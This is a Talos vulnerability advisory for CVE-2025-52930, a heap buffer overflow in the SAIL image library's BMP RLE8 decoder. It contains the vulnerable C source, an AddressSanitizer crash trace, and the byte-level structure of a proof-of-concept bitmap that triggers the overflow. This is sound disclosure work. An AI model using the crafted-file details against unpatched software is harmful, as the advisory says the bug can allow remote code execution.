Talos Vulnerability Report

TALOS-2025-2221

SAIL Image Decoding Library BMPv3 RLE Decoding integer overflow vulnerability

August 25, 2025
CVE Number

CVE-2025-52930

SUMMARY

A memory corruption vulnerability exists in the BMPv3 RLE Decoding functionality of the SAIL Image Decoding Library v0.9.8. When decompressing the image data from a specially crafted .bmp file, a heap-based buffer overflow can occur which allows for remote code execution. An attacker will need to convince the library to read a file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SAIL Image Decoding Library v0.9.8
221db576ce1263ab92bd882f344b68b8eec16cad (master)

PRODUCT URLS

SAIL Image Decoding Library - https://sail.software/

CVSSv3 SCORE

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-680 - Integer Overflow to Buffer Overflow

DETAILS

SAIL is a format-agnostic image decoding library supporting all popular image formats. Being one of the fastest among competitors, it provides simple yet powerful C/C++ API for end-users. SAIL works on Windows, macOS, and Linux platforms.

When the library first processes a bitmap image, the following function will be used to read the header for the image. At [1], a uint16_t will be read from the file that contains the signature. This signature is then used to determine what type of bitmap should loaded. Afterwards at [2], the function will read the rest of the bitmap headers from the file.

sail/src/sail-codecs/common/bmp/bmp.c:192-324
sail_status_t bmp_private_read_init(struct sail_io *io, const struct sail_load_options *load_options, void **state, int bmp_load_options) {
...
    if (bmp_load_options & SAIL_READ_BMP_FILE_HEADER) {
        /* "BM" or 0x02. */
        uint16_t magic;
        SAIL_TRY(io->strict_read(io->stream, &magic, sizeof(magic)));                       // [1] read the signature of the bitmap
        SAIL_TRY(io->seek(io->stream, 0, SEEK_SET));

        if (magic == SAIL_DDB_IDENTIFIER) {
...
        } else if (magic == SAIL_DIB_IDENTIFIER) {
            SAIL_TRY(bmp_private_read_dib_file_header(io, &bmp_state->dib_file_header));
            SAIL_TRY(read_bmp_headers(io, bmp_state));                                      // [2] read the bitmap headers
        } else {
...
        }
    } else {
        SAIL_TRY(read_bmp_headers(io, bmp_state));                                          // [2] read the bitmap headers
    }

...
    return SAIL_OK;
}

When reading the bitmap headers from the image, the following read_bmp_headers function will be used. The first thing this function will do is to read the v2 bitmap headers at [3]. Once that has been read, a switch will be used depending on the size of the headers. At [4], the library will read v3 of the bitmap headers. This is done for v3, v4, and v5 bitmaps.

sail/src/sail-codecs/common/bmp/bmp.c:192-324
sail_status_t bmp_private_read_init(struct sail_io *io, const struct sail_load_options *load_options, void **state, int bmp_load_options) {
...
    /* Check BMP restrictions. */
    if (bmp_state->version == SAIL_BMP_V1) {
...
    } else if (bmp_state->version >= SAIL_BMP_V3) {
        if (bmp_state->v3.compression == SAIL_BI_BITFIELDS && bmp_state->v2.bit_count != 16 && bmp_state->v2.bit_count != 32) {                     // [3] validate the compression type and bit count
...
        }
        if (bmp_state->v3.compression != SAIL_BI_RGB && bmp_state->v3.compression != SAIL_BI_RLE4 && bmp_state->v3.compression != SAIL_BI_RLE8) {   // [3] validate the compression type and bit count
...
        }
        if (bmp_state->v3.compression == SAIL_BI_RLE4 && bmp_state->v2.bit_count != 4) {                                                            // [3] validate the compression type and bit count
...
        }
        if (bmp_state->v3.compression == SAIL_BI_RLE8 && bmp_state->v2.bit_count != 8) {                                                            // [3] validate the compression type and bit count
...
        }
    }

    SAIL_TRY(bmp_private_bit_count_to_pixel_format(bmp_state->version == SAIL_BMP_V1 ? bmp_state->v1.bit_count : bmp_state->v2.bit_count,           // [4] figure out the pixel format for the bit count
                                                    &bmp_state->source_pixel_format));
...
    return SAIL_OK;
}

After the headers of the image have been read, the bmp_private_read_init function will resume executing in order to determine the number of bytes that are occupied by a decoded row of the image. At [5], the bmp_private_bytes_in_row function will be used to calculate the number of bytes using the bits per pixel and bytes per row field from the image file. At [6], the image width will be used to calculate the number of bytes for a single row. This value will be multiplied by the image height in order to to allocate enough space for decoding the image.

sail/src/sail-codecs/common/bmp/bmp.c:192-324
sail_status_t bmp_private_read_init(struct sail_io *io, const struct sail_load_options *load_options, void **state, int bmp_load_options) {

...

    /* Calculate the number of pad bytes to align scan lines to 4-byte boundary. */
    if (bmp_state->version == SAIL_BMP_V1) {
        SAIL_TRY(bmp_private_bytes_in_row(bmp_state->v1.width, bmp_state->v1.bit_count, &bmp_state->bytes_in_row));     // [5] calculate the stride for each row v1
        bmp_state->pad_bytes = bmp_state->v1.byte_width - bmp_state->bytes_in_row;
    } else {
        SAIL_TRY(bmp_private_bytes_in_row(bmp_state->v2.width, bmp_state->v2.bit_count, &bmp_state->bytes_in_row));     // [5] \ calculate the stride for each row v2
        bmp_state->pad_bytes = bmp_private_pad_bytes(bmp_state->bytes_in_row);
    }

    return SAIL_OK;
}
\
sail/src/sail-codecs/common/bmp/helpers.c:167-179
sail_status_t bmp_private_bytes_in_row(unsigned width, unsigned bit_count, unsigned *bytes_in_row) {

    switch (bit_count) {
        case 1:  *bytes_in_row = (width + 7) / 8; return SAIL_OK;                                                       // [6] calculate bytes per row
        case 4:  *bytes_in_row = (width + 1) / 2; return SAIL_OK;                                                       // [6] calculate bytes per row
        case 8:  *bytes_in_row = width;           return SAIL_OK;
        case 16: *bytes_in_row = width * 2;       return SAIL_OK;                                                       // [6] calculate bytes per row
        case 24: *bytes_in_row = width * 3;       return SAIL_OK;                                                       // [6] calculate bytes per row
        case 32: *bytes_in_row = width * 4;       return SAIL_OK;                                                       // [6] calculate bytes per row
    }

    SAIL_LOG_AND_RETURN(SAIL_ERROR_UNSUPPORTED_FORMAT);
}

When decoding each frame, the following bmp_private_read_frame function is used. This function will start at [7] by looping over each row of the image in order to iterate through each pixel that is stored. Then, for each pixel from the image data the compression type is checked at [8] to ensure that the image data is run-length encoded. Afterwards, each run-length encoded packet is then decoded. At [9], the number of pixels to fill is read from the image data into the “marker” variable. This variable is then checked if it is a run-length encoding marker at [10]. If it is, at [11] the index of the color to fill with will be read from the image data. Once the count and color index has been determined, the loop at [12] will be used to fill the current scan line with the chosen color index. Due to this loop not taking into account the dimensions of the image buffer, a heap-based buffer overflow can be made to occur. This can allow for code execution under the context of the library.

sail/src/sail-codecs/common/bmp/bmp.c:389-536
sail_status_t bmp_private_read_frame(void *state, struct sail_io *io, struct sail_image *image) {

    struct bmp_state *bmp_state = state;

    /* RLE-encoded images don't need to skip pad bytes. */
    bool skip_pad_bytes = true;

    for (unsigned i = image->height; i > 0; i--) {                                                          // [7] loop over each row
        unsigned char *scan = sail_scan_line(image, bmp_state->flipped ? (i - 1) : (image->height - i));

        for (unsigned pixel_index = 0; pixel_index < image->width;) {                                       // [7] iterate through each pixel
            if (bmp_state->version >= SAIL_BMP_V3 && bmp_state->v3.compression == SAIL_BI_RLE4) {           // [8] check if run-length encoding is used
...
            } else if (bmp_state->version >= SAIL_BMP_V3 && bmp_state->v3.compression == SAIL_BI_RLE8) {    // [8] check if run-length encoding is used
                skip_pad_bytes = false;

                uint8_t marker;
                SAIL_TRY(io->strict_read(io->stream, &marker, sizeof(marker)));                             // [9] read the run-length count from the image data

                if (marker == SAIL_BMP_UNENCODED_RUN_MARKER) {                                              // [10] check if packet is unencoded
                    uint8_t count_or_marker;
                    SAIL_TRY(io->strict_read(io->stream, &count_or_marker, sizeof(count_or_marker)));

                    if (count_or_marker == SAIL_BMP_END_OF_SCAN_LINE_MARKER) {
...
                } else {
                    /* Normal RLE: count + value. */
                    uint8_t index;
                    SAIL_TRY(io->strict_read(io->stream, &index, sizeof(index)));                           // [11] read the color index from the image data

                    for (uint8_t k = 0; k < marker; k++) {
                        *scan++ = index;                                                                    // [12] use count to write pixels for buffer overflow
                    }

                    pixel_index += marker;
                }
            }
        }
...
    }

    return SAIL_OK;
}

Crash Information

$ sail decode poc.bmp
File          : poc.bmp
Codec         : BMP [Bitmap Picture]
Codec version : 1.1.2
=================================================================
==178327==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5801d51 at pc 0x08165dcf bp 0xffed0d48 sp 0xffed0d30
WRITE of size 1 at 0xf5801d51 thread T0
    #0 0x08165dce in bmp_private_read_frame /path/to/sail/sail/src/sail-codecs/common/bmp/bmp.c:512:33
    #1 0x081555b0 in sail_codec_load_frame_v8_bmp /path/to/sail/sail/src/sail-codecs/bmp/bmp.c:111:5
    #2 0x0814116e in sail_load_next_frame /path/to/sail/sail/src/sail/sail_advanced.c:119:5
    #3 0x08138a0f in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:237:22
    #4 0x08138a0f in decode /path/to/sail/sail/examples/c/sail/sail.c:265:5
    #5 0x08138a0f in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
    #6 0xf7bc50e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
    #7 0xf7bc51b7 in __libc_start_main@GLIBC_2.0 (/lib/libc.so.6+0x31b7) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)
    #8 0x08048a57 in _start (/path/to/sail/sail+0x8048a57) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)

0xf5801d51 is located 0 bytes after 1-byte region [0xf5801d50,0xf5801d51)
allocated by thread T0 here:
    #0 0x080eaf46 in malloc (/path/to/sail/sail+0x80eaf46) (BuildId: 4b81cb5dadd54c6bdb3dc4f0bde023080f125bd9)
    #1 0x08178131 in sail_malloc /path/to/sail/sail/src/sail-common/memory.c:34:23
    #2 0x081410f6 in sail_load_next_frame /path/to/sail/sail/src/sail/sail_advanced.c:116:5
    #3 0x08138a0f in decode_impl /path/to/sail/sail/examples/c/sail/sail.c:237:22
    #4 0x08138a0f in decode /path/to/sail/sail/examples/c/sail/sail.c:265:5
    #5 0x08138a0f in main /path/to/sail/sail/examples/c/sail/sail.c:366:9
    #6 0xf7bc50e0 in __libc_start_call_main (/lib/libc.so.6+0x30e0) (BuildId: 2409390f20d7cc2b798f08f89c7847ad2f4b74b1)

SUMMARY: AddressSanitizer: heap-buffer-overflow /path/to/sail/sail/src/sail-codecs/common/bmp/bmp.c:512:33 in bmp_private_read_frame
Shadow bytes around the buggy address:
  0xf5801a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf5801b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf5801b80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf5801c00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf5801c80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0xf5801d00: fa fa fa fa fa fa fa fa fa fa[01]fa fa fa 00 04
  0xf5801d80: fa fa 00 fa fa fa 00 04 fa fa 00 fa fa fa fd fa
  0xf5801e00: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa
  0xf5801e80: fa fa 00 04 fa fa 00 fa fa fa 00 00 fa fa 00 fa
  0xf5801f00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0xf5801f80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==178327==ABORTING

Exploit Proof of Concept

$ python -i poc.py3.zip poc.bmp

The bitmap file generated by the proof-of-concept has the following structure.

>>> bmp
<class bitmap.File> 'unnamed_7f65239d9190' {unnamed=True}
[0] <instance bitmap.BITMAPFILEHEADER 'bmfh'> "\x42\x4d\x36\x05\x00\x00\x00\x00\x00\x00\x36\x04\x00\x00"
[e] <instance bitmap.BitmapInfoHeader 'bmih'> "\x28\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x08\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"
[36] <instance parray.type 'bmiColors'> bitmap.RGBQUAD[256] "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ...total 1024 bytes... \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
[436] <instance dynamic.block(0) 'bmiExtra'> (0) ""
[436] <instance ptype.block 'bmData'> (256) "\x7a\x6c\x73\x63\x87\x6f\x05\xb5\x9d\x2e\xee\x98\xc2\xc5  ...total 256 bytes... \x33\xff\x64\x0f\xf4\x1d\x13\xba\x80\x8e\xc9\xeb\x1e"

Any version of the BitmapInfoHeader can be used to trigger this vulnerability.

>>> bmp['bmih']
<class bitmap.BitmapInfoHeader> 'bmih'
[e] <instance bitmap.DWORD 'biSize'> 0x00000028 (40)
[12] <instance bitmap.BitmapInfo 'bmHeader'> "\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x08\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00"

The entirety of the fields required to trigger this vulnerability exist within the following BitmapInfo structure. If the “biCompression” field of this structure is BI_RLE8(1) or BI_RLE4(2), then the RLE decoder will be used to decode the image data. The buffer being overflown is calculated using the product of the dimensions of the image and the bytes determined by the “biBitCount” field. The “biBitCount” field contains the number of bits, which must be divided by 8 to get the number of bytes. This specific proof-of-concept sets the “biWidth” and “biHeight” fields to 1 with 8 bits per pixel. This results in allocating space for a single byte.

>>> bmp['bmih']['bmHeader']
<class bitmap.BitmapInfo> 'bmHeader'
[12] <instance bitmap.LONG 'biWidth'> +0x00000001 (1)
[16] <instance bitmap.LONG 'biHeight'> +0x00000001 (1)
[1a] <instance bitmap.WORD 'biPlanes'> 0x0000 (0)
[1c] <instance bitmap.WORD 'biBitCount'> 0x0008 (8)
[1e] <instance bitmap.biCompression 'biCompression'> BI_RLE8(0x1)
[22] <instance bitmap.DWORD 'biSizeImage'> 0x00000000 (0)
[26] <instance bitmap.LONG 'biXPelsPerMeter'> +0x00000000 (0)
[2a] <instance bitmap.LONG 'biYPelsPerMeter'> +0x00000000 (0)
[2e] <instance bitmap.DWORD 'biClrUsed'> 0x00000100 (256)
[32] <instance bitmap.DWORD 'biClrImportant'> 0x00000000 (0)

The following data is a hexdump of the RLE-encoded image data from the generated bitmap. Decoding from offset 0x436 of this specific proof-of-concept, the number of pixels to fill will be 0xFF. The following byte, 0xFF, will be the color used for the fill. If any of the RLE-encoded bytes results in being larger than the product of the image dimensions and bytes per pixel, then this vulnerability is being triggered.

>>> bmp['bmdata']
<class ptype.block> 'bmData'
0436  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  ................
0446  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  ................
0456  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  ................
0466  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  ................
 ...skipped 248 rows, total 4096 bytes.. 
13f6  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  ................
1406  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  ................
1416  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  ................
1426  ff ff ff ff ff ff ff ff  ff ff ff ff ff ff ff ff  ................
TIMELINE

2025-07-29 - Initial Vendor Contact
2025-07-29 - Vendor Disclosure
2025-07-31 - Vendor Patch Release
2025-08-25 - Public Release

Credit

Discovered by a member of Cisco Talos.